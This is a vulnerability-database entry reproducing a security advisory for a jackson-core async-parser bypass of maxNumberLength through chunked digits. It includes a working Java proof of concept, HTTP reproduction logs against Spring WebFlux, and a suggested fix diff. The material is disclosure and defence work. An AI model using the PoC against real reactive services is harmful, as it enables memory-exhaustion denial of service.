The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.
End-to-end reproduction through real HTTP
Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use.
Setup:
- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
- jackson-databind 2.17.2, jackson-core overridden:
- VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
- PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
- JVM: OpenJDK 17.0.18
- Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()
Endpoint under test exposes the Flux<DataBuffer> request body directly to
Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any
@RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.
VULN — jackson-core 2.18.7:
[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
Number value length (50000) exceeds the maximum allowed (1000, ...)
Server-side controller trace (250 DataBuffer arrivals elided):
[ctrl] DataBuffer arrived size=6 ms=39 <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...
Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with
maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.
PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):
[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream
Server-side controller trace:
[ctrl] DataBuffer arrived size=6 ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)
Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.
Side-by-side:
| Build | Chunks accepted before exception | Digits buffered | Time to detection |
|---|---|---|---|
| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |
| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |
Note on the default @RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.
Suggested fix
Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);
return _updateTokenToNA();
}
Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.
Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).
Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.
Credit
Reported by tonghuaroot (tonghuaroot@gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:58:53Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) \u2014 a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class \u2014 just the streaming path the original fix didn\u0027t cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x \u2014 same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 \u2014 `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr \u003e= outBuf.length) {\n // NOTE: must expand to ensure contents all in a single buffer (to keep\n // other parts of parsing simpler)\n outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 \u2014 `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr + negMod)\n }\n int ch = getByteFromBuffer(_inputPtr) \u0026 0xFF;\n if (ch \u003c INT_0) {\n if (ch == INT_PERIOD) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n if (ch \u003e INT_9) {\n if ((ch | 0x20) == INT_e) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n ++_inputPtr;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n }\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n _textBuffer.setCurrentLength(outPtr);\n return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 \u2014 every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n if (ch \u003e= INT_0 \u0026\u0026 ch \u003c= INT_9) {\n ++fractLen;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n if (_inputPtr \u003e= _inputEnd) {\n _textBuffer.setCurrentLength(outPtr);\n _setFractLength(fractLen); // \u003c-- VALIDATED\n return JsonToken.NOT_AVAILABLE;\n }\n ch = getNextSignedByteFromBuffer();\n }\n ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected \u2014 those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc \u0026\u0026 cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat \u003e PoC.java \u003c\u003c\u0027EOF\u0027\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n public static void main(String[] args) throws Exception {\n StreamReadConstraints strict = StreamReadConstraints.builder()\n .maxNumberLength(1000)\n .build();\n JsonFactory f = new JsonFactoryBuilder()\n .streamReadConstraints(strict)\n .build();\n\n // Sanity: synchronous parser rejects 5000-digit int.\n try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n while (p.nextToken() != null) { /* drive */ }\n System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n return;\n } catch (Exception e) {\n System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n }\n\n // Bug: async parser, chunked, no terminator.\n JsonParser ap = f.createNonBlockingByteArrayParser();\n ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n feeder.feedInput(preamble, 0, preamble.length);\n while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n byte[] digits = new byte[16 * 1024];\n for (int i = 0; i \u003c digits.length; i++) digits[i] = (byte) (\u00271\u0027 + (i % 9));\n\n for (int c = 0; c \u003c 600; c++) {\n feeder.feedInput(digits, 0, digits.length);\n JsonToken t = ap.nextToken();\n if (t != JsonToken.NOT_AVAILABLE) {\n System.out.println(\"[-] unexpected token: \" + t);\n return;\n }\n }\n System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n // Closing the number now finally triggers the validator.\n feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n feeder.endOfInput();\n try {\n while (ap.nextToken() != null) { /* drive */ }\n } catch (Exception e) {\n System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n }\n ap.close();\n }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux\u003cDataBuffer\u003e` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux\u003c...\u003e` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN \u2014 jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6 ms=39 \u003c- \u0027{\"v\":1\u0027\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1 ms=6518 \u003c- closing \u0027}\u0027\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED \u2014 jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6 ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker\u0027s payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms \u2014 only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms \u2014 moment threshold crossed |\n\nNote on the default `@RequestBody Mono\u003cJsonNode\u003e` path: that path cannot\ndistinguish the two builds because Spring\u0027s `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux\u003cJsonNode\u003e` / `@RequestBody Flux\u003c...\u003e` /\nWebSocket / SSE / any direct `decoder.decode(Flux\u003cDataBuffer\u003e, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n return _updateTokenToNA();\n }\n```\n\nNote: `_setIntLength` itself can\u0027t be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr \u003c maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.",
"id": "GHSA-r7wm-3cxj-wff9",
"modified": "2026-08-03T20:30:41Z",
"published": "2026-07-21T21:58:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1611"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.